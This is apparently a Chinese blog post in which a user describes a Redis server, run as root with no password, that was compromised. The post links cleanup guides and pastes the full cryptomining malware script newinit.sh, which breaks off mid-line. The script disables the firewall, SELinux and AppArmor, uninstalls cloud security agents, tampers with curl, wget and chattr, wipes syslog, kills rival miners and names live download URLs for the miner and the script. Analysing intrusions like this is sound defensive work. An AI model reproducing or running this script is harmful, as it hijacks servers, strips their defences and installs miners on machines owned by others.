资讯详情

安装redis时被意外攻击 newinit

root用户开启redis忘记设置密码，启动服务

top命令被篡改 在这里插入图片描述 安装并使用htop查看 cpu内存爆满

相关大佬的解决办法

https://widayn.club/2021/02/13/redis后门导致采矿木马植入newinit-sh解决方法/  https://blog.csdn.net/qq_41671415/article/details/115804173

Redis未经授权访问漏洞

https://cloud.tencent.com/developer/article/1764331

疑问

  1. 为什么文件不能删除？
  2. 黑客怎么样？redis主机的漏洞机
  3. 病毒文件中写的是什么？
  4. 我可以复现吗?

病毒文件

 # cat newinit.txt  ulimit -n 65535 chmod 777 /usr/bin/chattr chmod 777 /bin/chattr iptables -F ufw disable sysctl kernel.nmi_watchdog=0 echo '0' >/proc/sys/kernel/nmi_watchdog echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf chattr -iae /root/.ssh/ chattr -iae /root/.ssh/authorized_keys chattr -iua /tmp/ chattr -iua /var/tmp/ rm -rf /tmp/addres* rm -rf /tmp/walle* rm -rf /tmp/keys rm -rf /var/log/syslog  crondir='/var/spool/cron/'"$USER" cont=`cat ${ 
         crondir}` ssht=`cat /root/.ssh/authorized_keys` echo 1 > /etc/zzhs rtdir="/etc/zzhs" bbdir="/usr/bin/curl" bbdira="/usr/bin/cd1" ccdir="/usr/bin/wget" ccdira="/usr/bin/wd1"  mv /usr/bin/wgettnt /usr/bin/wd1 mv /usr/bin/curltnt /usr/bin/cd1 mv /usr/bin/wget1 /usr/bin/wd1 mv /usr/bin/curl1 /usr/bin/cd1 mv /usr/bin/cur /usr/bin/cd1 mv /usr/bin/cdl /usr/bin/cd1 mv /usr/bin/cdt /usr/bin/cd1 mv /usr/bin/xget /usr/bin/wd1 mv /usr/bin/wge /usr/bin/wd1 mv /usr/bin/wdl /usr/bin/wd1 mv /usr/bin/wdt /usr/bin/wd1 mv /usr/bin/wget /usr/bin/wd1 mv /usr/bin/curl /usr/bin/cd1  if ps aux | grep -i '[a]liyun'; then
  $bbdir http://update.aegis.aliyun.com/download/uninstall.sh | bash
  $bbdir http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
  $bbdira http://update.aegis.aliyun.com/download/uninstall.sh | bash
  $bbdira http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
  pkill aliyun-service
  rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
  rm -rf /usr/local/aegis*
  systemctl stop aliyun.service
  systemctl disable aliyun.service
  service bcm-agent stop
  yum remove bcm-agent -y
  apt-get remove bcm-agent -y
elif ps aux | grep -i '[y]unjing'; then
  /usr/local/qcloud/stargate/admin/uninstall.sh
  /usr/local/qcloud/YunJing/uninst.sh
  /usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi

if [ -f /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh ]; then
  /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh stop && /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh remove && rm -rf /usr/local/cloudmonitor  
else
  export ARCH=amd64
  if [ -f /usr/local/cloudmonitor/CmsGoAgent.linux-${ARCH} ]; then
    /usr/local/cloudmonitor/CmsGoAgent.linux-${ARCH} stop && /usr/local/cloudmonitor/CmsGoAgent.linux-${ARCH} uninstall && rm -rf /usr/local/cloudmonitor 
  else
    echo "ali cloud monitor not running"
  fi
fi

setenforce 0
echo SELINUX=disabled >/etc/selinux/config
service apparmor stop
systemctl disable apparmor
service aliyun.service stop
systemctl disable aliyun.service
ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I % kill -9 %

rm -rf /usr/local/aegis

miner_url="http://195.242.111.238/cleanfda/zzh"
miner_url_backup="http://en2an.top:8080/cleanfda/zzh"
miner_size="6006304"
sh_url="http://195.242.111.238/cleanfda/newinit.sh"
sh_url_backup="http://en2an.top:8080/cleanfda/newinit.sh"
chattr_size="8000"

sleep 1

if [ -x "$(command -v t)" ]; then
mv /usr/bin/t /usr/bin/chattr
fi

if [ -x "$(command -v chattr)" ]; then
chattr -i /usr/bin/ip6network
chattr -i /usr/bin/kswaped
chattr -i /usr/bin/irqbalanced
chattr -i /usr/bin/rctlcli
chattr -i /usr/bin/systemd-network
chattr -i /usr/bin/pamdicks
echo 1 > /usr/bin/ip6network
echo 2 > /usr/bin/kswaped
echo 3 > /usr/bin/irqbalanced
echo 4 > /usr/bin/rctlcli
echo 5 > /usr/bin/systemd-network
echo 6 > /usr/bin/pamdicks
chattr +i /usr/bin/ip6network
chattr +i /usr/bin/kswaped
chattr +i /usr/bin/irqbalanced
chattr +i /usr/bin/rctlcli
chattr +i /usr/bin/systemd-network
chattr +i /usr/bin/pamdicks
fi
sleep 1

kill_miner_proc()
{ 
        
netstat -anp | grep 185.71.65.238 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
netstat -anp | grep 140.82.52.87 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
netstat -anp | grep :443 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :23 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :443 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :143 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :2222 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :3333 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :3389 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :5555 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :6666 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :6665 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :6667 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :7777 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :8444 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :3347 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :10008 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
ps.original aux | grep -v grep | grep ':13531' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep ':3333' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep ':5555' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'kworker -c\' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'log_' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'systemten' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'netns' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'voltuned' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'darwin' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/dl' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/ddg' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/pprt' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/ppol' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/65ccE*' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/jmx*' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/2Ne80*' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'IOFoqIgyC0zmf2UR' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '45.76.122.92' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '51.38.191.178' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '51.15.56.161' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '86s.jpg' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'aGTSGJJp' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'nMrfmnRa' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'PuNY5tm2' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'I0r8Jyyt' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'AgdgACUD' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'uiZvwxG8' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'hahwNEdB' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'BtwXn5qH' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '3XEzey2T' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 't2tKrCSZ' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'HD7fcBgg' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'zXcDajSs' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '3lmigMo' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'AkMK4A2' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'AJ2AkKe' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'HiPxCJRS' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'http_0xCC030' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'http_0xCC031' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'http_0xCC032' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'http_0xCC033' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "C4iLM4L" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'aziplcr72qjhzvin' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | awk '{ if(substr($11,1,2)=="./" && substr($12,1,2)=="./") print $2 }' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/boot/vmlinuz' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "i4b503a52cc5" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "dgqtrcst23rtdi3ldqk322j2" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "2g0uv7npuhrlatd" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "nqscheduler" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "rkebbwgqpl4npmm" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep -v aux | grep "]" | awk '$3>10.0{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "2fhtu70teuhtoh78jc5s" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "0kwti6ut420t" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "44ct7udt0patws3agkdfqnjm" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep -v "/" | grep -v "-" | grep -v "_" | awk 'length($11)>19{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "\[^" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "rsync" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "watchd0g" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | egrep 'wnTKYg|2t3ik|qW3xT.2|ddg' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "158.69.133.18:8220" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "/tmp/java" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'gitee.com' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/java' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '104.248.4.162' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '89.35.39.78' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/dev/shm/z3.sh' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'kthrotlds' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'ksoftirqds' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'netdns' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'watchdogs' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'redis2' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v  

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